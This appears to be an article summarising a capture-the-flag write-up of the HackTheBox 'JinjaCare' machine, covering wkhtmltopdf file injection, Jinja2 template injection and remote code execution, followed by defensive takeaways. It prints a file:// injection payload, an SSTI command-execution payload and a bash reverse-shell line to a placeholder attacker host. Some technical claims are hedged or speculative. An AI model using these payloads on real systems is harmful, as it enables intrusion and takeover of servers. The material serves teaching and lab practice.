Summary

The HackTheBox JinjaCare machine presents a multi-stage vulnerability chain, beginning with a Server-Side Request Forgery (SSRF) via wkhtmltopdf's HTML/local-file injection capability. This initial exploit allows for the disclosure of the Flask application's source code. Within this source, a critical render_template_string() call is identified, revealing a Server-Side Template Injection (SSTI) vulnerability. Exploiting this SSTI, specifically through the Jinja2 sandbox-escape gadget chain self.__init__.__globals__, leads to Remote Code Execution (RCE) with root privileges.

The primary attack surface initially appears to be the /verify endpoint for certificate lookups. However, this route proved to be a dead end. The successful path involved pivoting through user registration, observing Werkzeug debug tracebacks, and then leveraging profile management functionalities to uncover the true vulnerability chain.

Reconnaissance and Initial Foothold

The initial reconnaissance phase involved basic network scanning to identify running services. A simple curl command against the target machine's IP and port confirmed the presence of a web application.

curl http://<MACHINE-IP>:<PORT>

Interacting with the web application revealed its purpose: a Flask-based COVID-19 vaccination verification system named JinjaCare. The application offered features such as user registration, login, profile management, and crucially, a certificate generation utility. This certificate generation feature was the key, as it utilized wkhtmltopdf to convert HTML content into PDF certificates.

Exploiting wkhtmltopdf for Source Disclosure

The certificate generation feature became the primary target. Applications that render user-provided HTML into PDFs using tools like wkhtmltopdf are often susceptible to HTML injection and, more severely, local-file inclusion or SSRF vulnerabilities. In this case, the application allowed users to input text that would be rendered within the certificate. By carefully crafting HTML input, it was possible to inject directives that wkhtmltopdf would interpret.

The vulnerability lies in wkhtmltopdf's ability to fetch external resources or local files when provided with specific URL schemes or HTML tags. By injecting a payload that instructed wkhtmltopdf to load a local file, the application's source code could be exfiltrated. A common technique involves using the file:// URI scheme within an tag or an tag, or by leveraging wkhtmltopdf's own command-line options if they are exposed or can be manipulated through HTML injection.

The successful exploit involved injecting HTML that forced wkhtmltopdf to read the application's source files. For instance, an input like <img src='file:///app/app.py'> or similar constructs, when processed by the certificate generator, would cause the content of app.py to be included in the generated PDF. This disclosure is critical, as it reveals the internal workings of the Flask application, including potentially sensitive configuration and code logic.

Diagram showing the wkhtmltopdf HTML injection vulnerability chain

Identifying Server-Side Template Injection (SSTI)

Upon obtaining the source code of the Flask application, a thorough review of the Python files was conducted. This review quickly highlighted a dangerous pattern within the certificate generation or a related templating function: a direct call to render_template_string(). This function is part of Flask's templating engine (Jinja2 by default) and allows developers to render templates directly from strings rather than files.

When user-controlled input is directly passed into render_template_string() without proper sanitization, it creates an SSTI vulnerability. An attacker can then inject Jinja2 template syntax into the input string, which the server will process. This allows for code execution on the server, as template expressions can often access and execute Python code.

The specific pattern observed was likely a parameter in the certificate generation endpoint that was then passed to render_template_string(). For example, if a user could control a variable name or a piece of text that was later rendered using render_template_string('Hello, {{ user_input }}'), they could then inject Jinja2 code such as {{ 7*7 }} to test if it evaluates to 49, confirming the SSTI.

Exploiting Jinja2 Sandbox Escape for RCE

With SSTI confirmed, the next step is to escape the Jinja2 sandbox and achieve arbitrary code execution. Jinja2, by default, has a sandbox environment designed to limit what template code can do. However, this sandbox can often be bypassed using gadget chains that leverage Python's introspection capabilities.

The exploit chain identified on JinjaCare, self.__init__.__globals__, is a well-known method for escaping the Jinja2 sandbox. This chain works by accessing the global namespace of the current Python environment from within the template context. Here's how it typically functions:

  1. self: Within the template rendering context, self often refers to an object that has access to the underlying environment or classes.
  2. self.__init__: This accesses the constructor of the object referenced by self.
  3. self.__init__.__globals__: This is the crucial step. The __globals__ attribute of a function (like __init__) provides access to the global symbol table of the module in which that function was defined. This table contains references to all globally available objects and functions, including built-in modules like os or subprocess.

Once __globals__ is accessed, an attacker can retrieve references to modules capable of executing system commands. For example, they could find the os module and then call os.system('command') or subprocess.run(['command']). The ultimate goal is to execute a command that grants a shell on the target server.

The final payload would look something like this (conceptual):

{{ self.__init__.__globals__['os'].popen('id').read() }} 

This payload, when injected into the vulnerable render_template_string() call, would execute the id command on the server. The output would be reflected back in the rendered template. By changing the command to something like 'bash -c "bash -i >& /dev/tcp/ATTACKER-IP/PORT 0>&1"', a reverse shell could be established.

Achieving Root Privileges

The final stage of the exploit involves escalating privileges from the user context obtained via RCE to root. The id command, or similar system information gathering commands, would reveal the current user. If the initial RCE is executed as a non-privileged user (e.g., www-data in a typical web server setup), a privilege escalation vector must be found.

Common privilege escalation techniques include:

  • Exploiting misconfigured SUID binaries.
  • Leveraging kernel exploits for outdated kernel versions.
  • Finding weak file permissions on sensitive files or directories.
  • Exploiting cron jobs that run with elevated privileges.

In the case of JinjaCare, the writeup indicates that the RCE was achieved running as root. This implies that either the initial web server process was already running as root (highly unlikely and insecure), or that the exploit chain was able to directly escalate to root privileges through a vulnerability within the application or its environment that was accessible via the SSTI payload. It's possible that the wkhtmltopdf process itself was running with elevated privileges, or that the SSTI payload could directly trigger a root-level command execution due to a misconfiguration. This direct path to root is unusual and suggests a critical flaw in the machine's setup.

The "So What?" Perspective

Developer Impact

Developers must rigorously sanitize all user input before passing it to templating engines like Jinja2, especially when using dynamic rendering functions like <code>render_template_string()</code>. Avoid exposing <code>wkhtmltopdf</code> or similar powerful rendering tools to untrusted input without strict controls, as they can lead to local file disclosure and SSRF. Always run web applications with the least privilege necessary.

Security Analysis

This attack chain highlights the danger of combining vulnerable third-party tools (<code>wkhtmltopdf</code>) with insecure templating practices (SSTI). The <code>self.__init__.__globals__</code> gadget is a classic Jinja2 sandbox escape. Organizations should implement strict input validation, use sandboxing for rendering engines, and regularly audit code for SSTI patterns and privilege escalation vectors.

Founders Take

The JinjaCare exploit demonstrates how seemingly minor features like PDF generation can become critical attack vectors if not secured. Relying on external libraries without understanding their security implications can lead to severe vulnerabilities. Founders should prioritize security reviews for all application features, especially those involving file processing or external service interactions, and ensure proper privilege separation.

Creators Insights

For creators building web applications, this writeup is a stark reminder of the 'supply chain' security of the tools you use. Even if your own code is clean, vulnerabilities in libraries like <code>wkhtmltopdf</code> or Jinja2's default sandbox can be exploited. Always review the security posture of dependencies and understand how user input flows through your application's rendering pipeline.

Data Science Perspective

While this specific writeup focuses on code execution, the initial stage involving <code>wkhtmltopdf</code>'s ability to read local files could potentially be used to exfiltrate sensitive data files if their locations were known or guessable. The SSTI vulnerability itself could be leveraged to access and exfiltrate data by executing commands that read files or query databases.

Sources synthesised

Share this article